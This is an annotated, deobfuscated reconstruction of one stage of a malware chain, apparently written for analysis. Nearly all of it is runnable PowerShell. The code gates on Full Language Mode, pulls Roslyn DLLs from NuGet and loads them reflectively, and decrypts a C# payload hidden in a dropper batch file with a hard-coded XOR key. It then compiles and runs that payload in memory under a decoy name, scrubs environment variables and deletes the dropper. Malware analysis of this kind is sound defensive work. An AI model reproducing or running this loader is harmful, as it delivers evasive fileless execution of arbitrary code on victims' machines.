<# ================================================================================ 6pGtNaMpA -- PowerShell Stage B (Roslyn in-memory C# loader) DEOBFUSCATED / ANNOTATED RECONSTRUCTION ================================================================================ This is a human-readable reconstruction of 6pGtNaMpA.psStageB_roslynloader.decoded.ps1. It documents ONLY what this PowerShell stage does. The behaviour of the C# assembly it compiles and runs at the very end (type `_vz`, method `_hm`) is the NEXT stage and is deliberately OUT OF SCOPE here. WHAT THIS STAGE DOES, top to bottom: 1. Bails out unless it is running in Full Language Mode on PowerShell >= 5 (defeats Constrained Language Mode / older-host sandboxes). 2. Forces TLS 1.2 and builds an HttpClient that honours the system proxy. 3. Downloads ten NuGet packages (the Roslyn C# compiler + its dependencies) as .nupkg ZIPs, extracts one DLL from each, and loads them into the current AppDomain via Assembly.Load(byte[]). 4. Reads its own dropper .bat back off disk (path passed in $env:_k), pulls a base64 blob fenced between two `rem qpcbzaeg` marker lines, base64-decodes it, XOR-decrypts it with a fixed 32-byte key, and raw-inflate-decompresses it to recover C# SOURCE TEXT. 5. Uses the freshly loaded Roslyn to compile that C# source in memory to a DLL, then Assembly.Load()s the resulting bytes. 6. Reflects out type `_vz` / method `_hm` from the compiled assembly and invokes it on a background runspace thread (<-- NEXT STAGE, not analysed). 7. Wipes all `_*` environment variables and DELETES the dropper .bat (self-cleanup), then disposes everything. ORIGINAL OBFUSCATION (all reversed below): - String splitting: ('Net.Ser')+'vic'+('ePointM')+('anager') collapsed back to 'Net.ServicePointManager'. - Method name hiding: $_iv='Invoke' then $obj.$_iv(...) == $obj.Invoke(...) ($_gba='GetByteArrayAsync', $_fb='FromBase64String', ...) - Type names as strings + Activator/reflection instead of literal `::new`, to avoid literal type/method tokens in the script body. - Junk dead code: e.g. `if(4 -eq 0){...}`, `if($false){$_b38=6491}`, `$_g84=758;$_g84=$_g84+1;` -- never affect anything. ================================================================================ #> $ErrorActionPreference = 'Stop' # ----------------------------------------------------------------------------- # [1] ENVIRONMENT GATE -- only run in an unrestricted, modern PowerShell host. # Original used iex on a string and the $_iv='Invoke' indirection. # ----------------------------------------------------------------------------- $languageMode = $ExecutionContext.SessionState.LanguageMode if ($languageMode -ne 'FullLanguage') { return } # abort under Constrained Language Mode if ($PSVersionTable.PSVersion.Major -lt 5) { return } # ----------------------------------------------------------------------------- # [2] CACHE TYPE HANDLES (original fetched these as split strings via [type]). # Listed here so the rest of the script reads cleanly. # Net.ServicePointManager / Net.SecurityProtocolType / Net.CredentialCache # AppDomain / IO.MemoryStream / Text.Encoding / Text.StringBuilder / IO.Stream # ----------------------------------------------------------------------------- # Force TLS 1.2 for all outbound HTTPS (older default protocols disabled). [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Make sure System.Net.Http is available (load via reflection, then by name, # then Add-Type as a last resort; give up entirely if none work). try { [void][System.Net.Http.HttpClient] } catch { try { [void][System.Reflection.Assembly]::Load('System.Net.Http') } catch { try { Add-Type -AssemblyName 'System.Net.Http' -EA Stop } catch { return } } } # ----------------------------------------------------------------------------- # [3] HTTP CLIENT that routes through the configured system proxy using the # user's default credentials (so it works behind authenticated proxies). # ----------------------------------------------------------------------------- $handler = [Net.Http.HttpClientHandler]::new() $handler.Proxy = [Net.WebRequest]::GetSystemWebProxy() $handler.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials $httpClient = [Net.Http.HttpClient]::new($handler) # ----------------------------------------------------------------------------- # [4] ASSEMBLY-RESOLVE SHIM # Keep a name->Assembly table of everything we load from the .nupkg files, # and answer AppDomain assembly-resolve requests from it. This lets the # Roslyn DLLs satisfy each other's references even though they were loaded # from raw bytes (no file on disk to probe). # ----------------------------------------------------------------------------- $loaded = @{} [AppDomain]::CurrentDomain.add_AssemblyResolve({ param($s, $e) $name = $e.Name.Split(',')[0] if ($loaded.ContainsKey($name)) { return $loaded[$name] } return $null }) # Reflection handles for Assembly.Load(byte[]) and Assembly.Load(string). # (Obtained via reflection in the original to avoid literal API references.) $asmType = [type]::GetType('System.Reflection.Assembly') $asmLoadBytes = $asmType.GetMethod('Load', [type[]]@([byte[]])) # Assembly.Load(byte[]) $asmLoadString = $asmType.GetMethod('Load', [type[]]@([string])) # Assembly.Load(string) # Pre-load System.IO.Compression (needed for ZipArchive below). try { [void]$asmLoadString.Invoke($null, @( 'System.IO.Compression,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089')) } catch { return } # ----------------------------------------------------------------------------- # [5] NUGET MIRRORS + ADAPTIVE URL PREFERENCE # primary = api.nuget.org flat-container layout (...///..nupkg) # fallback = globalcdn.nuget.org packages layout (.../..nupkg) # $urlPref selects which mirror to try first: 1 = primary first, 0 = fallback first. # Whenever the preferred mirror fails but the other succeeds, $urlPref flips, # so subsequent packages prefer whichever mirror is actually reachable. # ----------------------------------------------------------------------------- $nugetPrimaryBase = 'https://api.nuget.org/v3-flatcontainer/' $nugetFallbackBase = 'https://globalcdn.nuget.org/packages/' $urlPref = 1 # The 10 packages to fetch: the Roslyn compiler (Microsoft.CodeAnalysis[.CSharp]) # plus the netstandard2.0 dependencies it needs to run on Windows PowerShell 5. $packages = @( @{ Name = 'system.buffers'; Version = '4.5.1'; Dll = 'lib/netstandard2.0/System.Buffers.dll' } @{ Name = 'system.numerics.vectors'; Version = '4.5.0'; Dll = 'lib/netstandard2.0/System.Numerics.Vectors.dll' } @{ Name = 'system.runtime.compilerservices.unsafe'; Version = '6.0.0'; Dll = 'lib/netstandard2.0/System.Runtime.CompilerServices.Unsafe.dll' } @{ Name = 'system.memory'; Version = '4.5.5'; Dll = 'lib/netstandard2.0/System.Memory.dll' } @{ Name = 'system.threading.tasks.extensions'; Version = '4.5.4'; Dll = 'lib/netstandard2.0/System.Threading.Tasks.Extensions.dll' } @{ Name = 'system.collections.immutable'; Version = '9.0.0'; Dll = 'lib/netstandard2.0/System.Collections.Immutable.dll' } @{ Name = 'system.text.encoding.codepages'; Version = '7.0.0'; Dll = 'lib/netstandard2.0/System.Text.Encoding.CodePages.dll' } @{ Name = 'system.reflection.metadata'; Version = '9.0.0'; Dll = 'lib/netstandard2.0/System.Reflection.Metadata.dll' } @{ Name = 'microsoft.codeanalysis.common'; Version = '4.14.0'; Dll = 'lib/netstandard2.0/Microsoft.CodeAnalysis.dll' } @{ Name = 'microsoft.codeanalysis.csharp'; Version = '4.14.0'; Dll = 'lib/netstandard2.0/Microsoft.CodeAnalysis.CSharp.dll' } ) # Download one .nupkg and return the requested DLL inside it as a byte[]. # Mirrors the original's per-package block: 3 retries with exponential backoff, # mirror-order toggling, and ZIP-entry extraction. Returns $null on total # failure (the caller then aborts the whole script, as the original did). function Get-NupkgDll { param($Name, $Version, $DllPath) $primaryUrl = "$nugetPrimaryBase$Name/$Version/$Name.$Version.nupkg" $fallbackUrl = "$nugetFallbackBase$Name.$Version.nupkg" # First pass: try the currently preferred mirror, 3 attempts, backoff 1s/2s/4s. # @($fallbackUrl,$primaryUrl)[$urlPref] -> urlPref=1 picks primary. $data = $null for ($r = 0; $r -lt 3; $r++) { try { $data = $httpClient.GetByteArrayAsync(@($fallbackUrl, $primaryUrl)[$urlPref]).GetAwaiter().GetResult() break } catch { [Threading.Thread]::Sleep((2 -shl $r) * 1000) } } # Second pass: if the preferred mirror failed outright, try the other order. # If that works, flip the global preference for the remaining packages. if ($null -eq $data) { for ($r = 0; $r -lt 3; $r++) { try { $data = $httpClient.GetByteArrayAsync(@($primaryUrl, $fallbackUrl)[$urlPref]).GetAwaiter().GetResult() break } catch { [Threading.Thread]::Sleep((2 -shl $r) * 1000) } } if ($null -ne $data) { $script:urlPref = 1 - $urlPref } } if ($null -eq $data) { return $null } # The .nupkg is a ZIP. Open it read-only and copy out the one DLL we want. # (Original built ZipArchive via Activator + string type names to hide them.) $zipStream = [IO.MemoryStream]::new($data) $zip = [IO.Compression.ZipArchive]::new($zipStream, [IO.Compression.ZipArchiveMode]::Read) $entry = $zip.GetEntry($DllPath) if ($null -eq $entry) { $zip.Dispose(); $zipStream.Dispose(); return $null } $outStream = [IO.MemoryStream]::new() $entryStream = $entry.Open() $entryStream.CopyTo($outStream) $entryStream.Dispose() $bytes = $outStream.ToArray() $outStream.Dispose() $zip.Dispose() $zipStream.Dispose() return $bytes } # Fetch + load every package. Any failure aborts the whole script (return). foreach ($pkg in $packages) { $dllBytes = Get-NupkgDll $pkg.Name $pkg.Version $pkg.Dll if ($null -eq $dllBytes) { return } # Assembly.Load(byte[]) (reflective; @(,$dllBytes) passes the array as ONE arg). $asm = $asmLoadBytes.Invoke($null, @(, $dllBytes)) $loaded[$asm.GetName().Name] = $asm } $httpClient = $null # ----------------------------------------------------------------------------- # [6] RECOVER EMBEDDED C# SOURCE FROM THE DROPPER .BAT # The batch path is passed in $env:_k. Read the whole file, then scrub all # `_*` env vars for forensics (restoring only the path we still need). # ----------------------------------------------------------------------------- $fileText = [IO.File]::ReadAllText($env:_k) $batPath = $env:_k Remove-Item env:_* -Force -EA SilentlyContinue # wipe inherited _wcw/_iz/_nay/... etc. $env:_k = $batPath # keep the path for the self-delete later Remove-Variable batPath -EA SilentlyContinue # Pull the base64 blob fenced between two `rem qpcbzaeg` marker lines. # Each candidate line: strip carets and "" (batch escapes), trim, require it to # start with "rem " and (between markers) be pure base64. $marker = 'qpcbzaeg' $inBlock = $false $sb = [Text.StringBuilder]::new() foreach ($line in $fileText.Split([char]10)) { # split on LF $clean = $line.Replace('^', '').Replace('""', '').TrimStart() if ($clean.Length -gt 4 -and $clean.Substring(0, 4) -ieq 'rem ') { $rem = $clean.Substring(4).Trim([char]13, [char]32) if ($rem -eq $marker) { if ($inBlock) { break } else { $inBlock = $true; continue } # 1st marker opens, 2nd closes } if ($inBlock -and $rem -match '^[A-Za-z0-9+/=]+$') { [void]$sb.Append($rem) } } } $b64 = $sb.ToString() if ($b64.Length -eq 0) { return } # base64 -> bytes (original hid the method name in $_fb='FromBase64String'). $encBytes = [Convert]::FromBase64String($b64) # XOR-decrypt with a fixed repeating 32-byte key (key given as a hex string). $keyHex = 'F5FE2F8044592D1304AD9778775EB08DBAFD6E7B3F8C0B615758E6623DDCD13D' $key = [byte[]]::new(32) for ($i = 0; $i -lt 32; $i++) { $key[$i] = [byte]('0x' + $keyHex.Substring($i * 2, 2)) } $dec = [byte[]]::new($encBytes.Length) for ($i = 0; $i -lt $encBytes.Length; $i++) { $dec[$i] = $encBytes[$i] -bxor $key[$i -band 31] } # Raw DEFLATE inflate -> UTF-8 text. This is the C# SOURCE that gets compiled. $defStream = [IO.MemoryStream]::new($dec) $inflate = [IO.Compression.DeflateStream]::new($defStream, [IO.Compression.CompressionMode]::Decompress) $srcStream = [IO.MemoryStream]::new() $inflate.CopyTo($srcStream) $csharpSource = [Text.Encoding]::UTF8.GetString($srcStream.ToArray()) $inflate.Dispose(); $defStream.Dispose(); $srcStream.Dispose() # ----------------------------------------------------------------------------- # [7] COMPILE THE C# SOURCE IN MEMORY WITH ROSLYN # Roslyn was loaded from raw bytes, so its types aren't referenceable by # literal name at parse time -- everything here is done by reflection # against the assemblies stashed in $loaded. Type/method/string names were # additionally split in the original; collapsed here for readability. # ----------------------------------------------------------------------------- $runtimeDir = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() # for mscorlib/System refs $roslynCommon = 'Microsoft.CodeAnalysis' $roslynCSharp = 'Microsoft.CodeAnalysis.CSharp' $bfStaticPublic = [Enum]::Parse([Reflection.BindingFlags], 'Static,Public') $bfInstancePublic = [Enum]::Parse([Reflection.BindingFlags], 'Instance,Public') $bfStaticPublicNonPub = [Enum]::Parse([Reflection.BindingFlags], 'Static,Public,NonPublic') # CSharpSyntaxTree.ParseText(text, options, path, encoding, cancellationToken) $syntaxTreeType = $loaded[$roslynCSharp].GetType('Microsoft.CodeAnalysis.CSharp.CSharpSyntaxTree') $parseTextM = $null foreach ($m in $syntaxTreeType.GetMethods($bfStaticPublic)) { if ($m.Name -eq 'ParseText' -and $m.GetParameters()[0].ParameterType -eq [string] -and $m.GetParameters().Length -eq 5) { $parseTextM = $m; break } } if ($parseTextM -eq $null) { return } $tree = $parseTextM.Invoke($null, @($csharpSource, $null, '', $null, [Threading.CancellationToken]::None)) # Build SyntaxTree[] { tree }. $syntaxTreeBaseType = $loaded[$roslynCommon].GetType('Microsoft.CodeAnalysis.SyntaxTree') $trees = [Array]::CreateInstance($syntaxTreeBaseType, 1) $trees[0] = $tree # MetadataReference.CreateFromFile(path, properties, documentation) # Reference the three core framework DLLs from the runtime directory. $metaRefType = $loaded[$roslynCommon].GetType('Microsoft.CodeAnalysis.MetadataReference') $createFromFileM = $null foreach ($m in $metaRefType.GetMethods($bfStaticPublic)) { if ($m.Name -eq 'CreateFromFile' -and $m.GetParameters().Length -eq 3) { $createFromFileM = $m; break } } if ($createFromFileM -eq $null) { return } $refs = [Array]::CreateInstance($metaRefType, 3) $refs[0] = $createFromFileM.Invoke($null, @([IO.Path]::Combine($runtimeDir, 'mscorlib.dll'), [type]::Missing, [type]::Missing)) $refs[1] = $createFromFileM.Invoke($null, @([IO.Path]::Combine($runtimeDir, 'System.dll'), [type]::Missing, [type]::Missing)) $refs[2] = $createFromFileM.Invoke($null, @([IO.Path]::Combine($runtimeDir, 'System.Core.dll'), [type]::Missing, [type]::Missing)) # OutputKind = 2 == DynamicallyLinkedLibrary (compile to a DLL). $compilationType = $loaded[$roslynCSharp].GetType('Microsoft.CodeAnalysis.CSharp.CSharpCompilation') $outputKindType = $loaded[$roslynCommon].GetType('Microsoft.CodeAnalysis.OutputKind') $outputKindDll = [Enum]::ToObject($outputKindType, 2) # CSharpCompilationOptions(outputKind, ...) -- pick the widest ctor, set the # first arg to OutputKind.Dll and leave the rest as Type.Missing (defaults). $optionsType = $loaded[$roslynCSharp].GetType('Microsoft.CodeAnalysis.CSharp.CSharpCompilationOptions') $optionsCtor = $null $maxParams = 0 foreach ($c in $optionsType.GetConstructors()) { $pc = $c.GetParameters().Length if ($pc -gt $maxParams) { $maxParams = $pc; $optionsCtor = $c } } if ($optionsCtor -eq $null) { return } $optionsArgs = [object[]]::new($optionsCtor.GetParameters().Length) $optionsArgs[0] = $outputKindDll for ($ci = 1; $ci -lt $optionsArgs.Length; $ci++) { $optionsArgs[$ci] = [type]::Missing } $options = $optionsCtor.Invoke($optionsArgs) # CSharpCompilation.Create(assemblyName, trees, references, options) # Assembly name is a benign-looking decoy: "System.IO.Packaging.Resources". $createM = $null foreach ($m in $compilationType.GetMethods($bfStaticPublic)) { if ($m.Name -eq 'Create' -and $m.GetParameters().Length -eq 4) { $createM = $m; break } } if ($createM -eq $null) { return } $compilation = $createM.Invoke($null, @('System.IO.Packaging.Resources', $trees, $refs, $options)) # compilation.Emit(peStream, ...) -> EmitResult. Fill optional args with # default/Nullable values, then check EmitResult.Success. $peStream = [IO.MemoryStream]::new() $emitM = $null $maxEmitParams = 0 foreach ($m in $compilation.GetType().GetMethods($bfInstancePublic)) { if ($m.Name -eq 'Emit' -and $m.GetParameters()[0].ParameterType -eq [IO.Stream]) { $pc = $m.GetParameters().Length if ($pc -gt $maxEmitParams) { $maxEmitParams = $pc; $emitM = $m } } } if ($emitM -eq $null) { return } $emitPrms = $emitM.GetParameters() $emitArgs = [object[]]::new($emitPrms.Length) $emitArgs[0] = $peStream for ($ei = 1; $ei -lt $emitPrms.Length; $ei++) { if ($emitPrms[$ei].ParameterType.IsValueType) { $under = [Nullable]::GetUnderlyingType($emitPrms[$ei].ParameterType) if ($under) { $emitArgs[$ei] = [Activator]::CreateInstance($under) } else { $emitArgs[$ei] = [Activator]::CreateInstance($emitPrms[$ei].ParameterType) } } } $emitResult = $emitM.Invoke($compilation, $emitArgs) $success = $emitResult.GetType().GetProperty('Success').GetValue($emitResult) if (-not $success) { return } # ----------------------------------------------------------------------------- # [8] LOAD THE COMPILED ASSEMBLY AND HAND OFF TO THE NEXT STAGE # Load the in-memory DLL, grab type `_vz` / static method `_hm`, and run it # on a dedicated runspace thread. *** What _vz._hm() does is the NEXT # STAGE and is intentionally not analysed here. *** # ----------------------------------------------------------------------------- $compiledAsm = $asmLoadBytes.Invoke($null, @(, $peStream.ToArray())) $entryType = $compiledAsm.GetType('_vz') if ($entryType -eq $null) { return } $entryMethod = $entryType.GetMethod('_hm', $bfStaticPublicNonPub) if ($entryMethod -eq $null) { return } $batPathForDelete = $env:_k $runspace = [RunspaceFactory]::CreateRunspace() $runspace.Open() $ps = [PowerShell]::Create() $ps.Runspace = $runspace $null = $ps.AddScript('param($m);try{$m.Invoke($null,$null)}catch{}').AddArgument($entryMethod) $asyncHandle = $ps.BeginInvoke() [Threading.Thread]::Sleep(2000) Remove-Item env:_* -Force -EA SilentlyContinue # second forensic wipe of _* env vars $ps.EndInvoke($asyncHandle) # ----------------------------------------------------------------------------- # [9] SELF-DELETE THE DROPPER .BAT AND CLEAN UP # ----------------------------------------------------------------------------- try { [IO.File]::Delete($batPathForDelete) } catch {} $runspace.Dispose() $ps.Dispose() Remove-Variable batPathForDelete, runspace, ps, asyncHandle -EA SilentlyContinue